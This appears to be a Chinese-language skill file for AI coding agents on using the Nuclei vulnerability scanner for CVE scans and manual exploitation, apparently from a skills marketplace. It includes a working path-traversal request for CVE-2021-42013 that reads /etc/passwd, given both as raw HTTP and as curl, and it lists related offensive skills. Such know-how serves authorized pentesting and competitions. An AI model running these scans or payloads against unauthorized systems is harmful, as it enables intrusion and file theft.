skills/tool/nuclei-scan/SKILL.md
Nuclei 漏洞扫描工具使用方法论。当需要对目标进行已知漏洞扫描、CVE 验证、批量 PoC 检测时使用。Nuclei 拥有社区维护的 9000+ 模板,覆盖 CVE、默认口令、配置错误、信息泄露等。任何涉及 nuclei 扫描、CVE 批量验证、PoC 检测、漏洞模板搜索的场景都应使用此技能。也适用于需要从 nuclei 模板中提取 payload 用于手动利用的场景
npx skillsauth add wgpsec/AboutSecurity nuclei-scanInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Nuclei 是 ProjectDiscovery 开源的基于模板的漏洞扫描器。它的核心价值:社区维护的模板库,每个模板都是经过验证的 PoC,比自己构造 payload 更可靠。
Nuclei 有 9000+ 模板,不加限制的全量扫描(nuclei -u target)需要 10-30 分钟——在比赛中这是致命的时间浪费。通过 -t(指定模板目录)或 -tags(指定标签)缩小范围,通常几十秒内就能完成精准扫描。
另外,Nuclei 的模板匹配并非 100% 准确,关键漏洞发现后应手动复现确认,避免在误报上浪费时间。
根据指纹识别结果选择对应模板,而非全量扫描:
# 1. 按模板 ID / CVE 编号精确扫描(最快,秒级)
nuclei -u http://target -id CVE-2021-44228
# 2. 按产品名过滤(几十秒)
nuclei -u http://target -t cves/ -tags apache
nuclei -u http://target -t cves/ -tags tomcat
nuclei -u http://target -t cves/ -tags wordpress
# 3. 只扫高危 CVE(1-3 分钟)
nuclei -u http://target -t cves/ -severity critical,high
# 4. 按漏洞类型扫描
nuclei -u http://target -t vulnerabilities/ -tags rce
nuclei -u http://target -t vulnerabilities/ -tags sqli
nuclei -u http://target -t vulnerabilities/ -tags lfi
| 目录 | 内容 | 适用场景 |
|------|------|---------|
| cves/ | 已知 CVE PoC | Zone 2 CVE 验证 |
| vulnerabilities/ | 通用漏洞检测 | Web 深度测试 |
| misconfiguration/ | 配置错误 | 云安全、服务加固 |
| default-logins/ | 默认口令 | 中间件管理后台 |
| exposures/ | 敏感信息泄露 | 信息收集阶段 |
| takeovers/ | 子域名接管 | 域名资产攻击 |
当需要手动利用(nuclei 直接扫不出来、需要定制 payload)时,从模板中提取关键信息:
# 搜索本地模板库
find ~/nuclei-templates/ -name "*CVE-2021-42013*" 2>/dev/null
find ~/nuclei-templates/ -name "*apache*" -path "*/cves/*" 2>/dev/null
find ~/nuclei-templates/ -name "*log4j*" 2>/dev/null
# 按关键词在模板内容中搜索
grep -rl "apache 2.4.49" ~/nuclei-templates/http/cves/ 2>/dev/null
grep -rl "tomcat.*rce" ~/nuclei-templates/http/cves/ 2>/dev/null
# 读取模板提取 payload
cat ~/nuclei-templates/http/cves/2021/CVE-2021-42013.yaml
# 模板结构示例
id: CVE-2021-42013
info:
name: Apache HTTP Server Path Traversal
severity: critical # ← 漏洞等级
description: ... # ← 漏洞描述和利用条件
http:
- raw: # ← 原始 HTTP 请求(可直接提取用于 curl)
- |
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers: # ← 成功判定条件
- type: regex
regex:
- "root:.*:0:0:"
extractors: # ← 提取的数据(如版本号、密钥)
- type: regex
regex:
- "root:.*"
从模板提取 payload 用于手动利用:
# 从 raw 字段提取请求路径和方法
cat template.yaml | grep -A5 "raw:"
# 转换为 curl 命令
curl -s "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
# 如果模板有 POST body
curl -s -X POST http://target/api -d '{"payload": "..."}'
当有多个目标时:
# 从文件读取目标列表
echo "http://target1" > targets.txt
echo "http://target2" >> targets.txt
nuclei -l targets.txt -t cves/ -severity critical,high
# 配合 httpx 管道
cat urls.txt | httpx -silent | nuclei -t cves/ -severity critical,high
Nuclei 输出格式:
[CVE-2021-42013] [http] [critical] http://target/cgi-bin/.%2e/...
[CVE-2022-26134] [http] [critical] http://target/wiki/%24%7B...%7D
必须手动验证关键发现:
| 标签 | 说明 | 示例 |
|------|------|------|
| cve | 所有 CVE | -tags cve |
| rce | 远程代码执行 | -tags rce |
| sqli | SQL 注入 | -tags sqli |
| lfi | 本地文件包含 | -tags lfi |
| ssrf | SSRF | -tags ssrf |
| xss | XSS | -tags xss |
| default-login | 默认口令 | -tags default-login |
| exposure | 信息泄露 | -tags exposure |
| apache | Apache 相关 | -tags apache |
| tomcat | Tomcat 相关 | -tags tomcat |
| wordpress | WordPress | -tags wordpress |
| jenkins | Jenkins | -tags jenkins |
| spring | Spring 框架 | -tags spring |
# 控制并发(默认 25,目标少时可降低避免被 ban)
nuclei -u http://target -t cves/ -c 10
# 限制速率
nuclei -u http://target -t cves/ -rl 50 # 每秒 50 请求
# 超时设置
nuclei -u http://target -t cves/ -timeout 10
# 只输出发现的漏洞(静默模式)
nuclei -u http://target -t cves/ -silent
# 输出到文件(JSON 格式便于分析)
nuclei -u http://target -t cves/ -json -o results.json
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能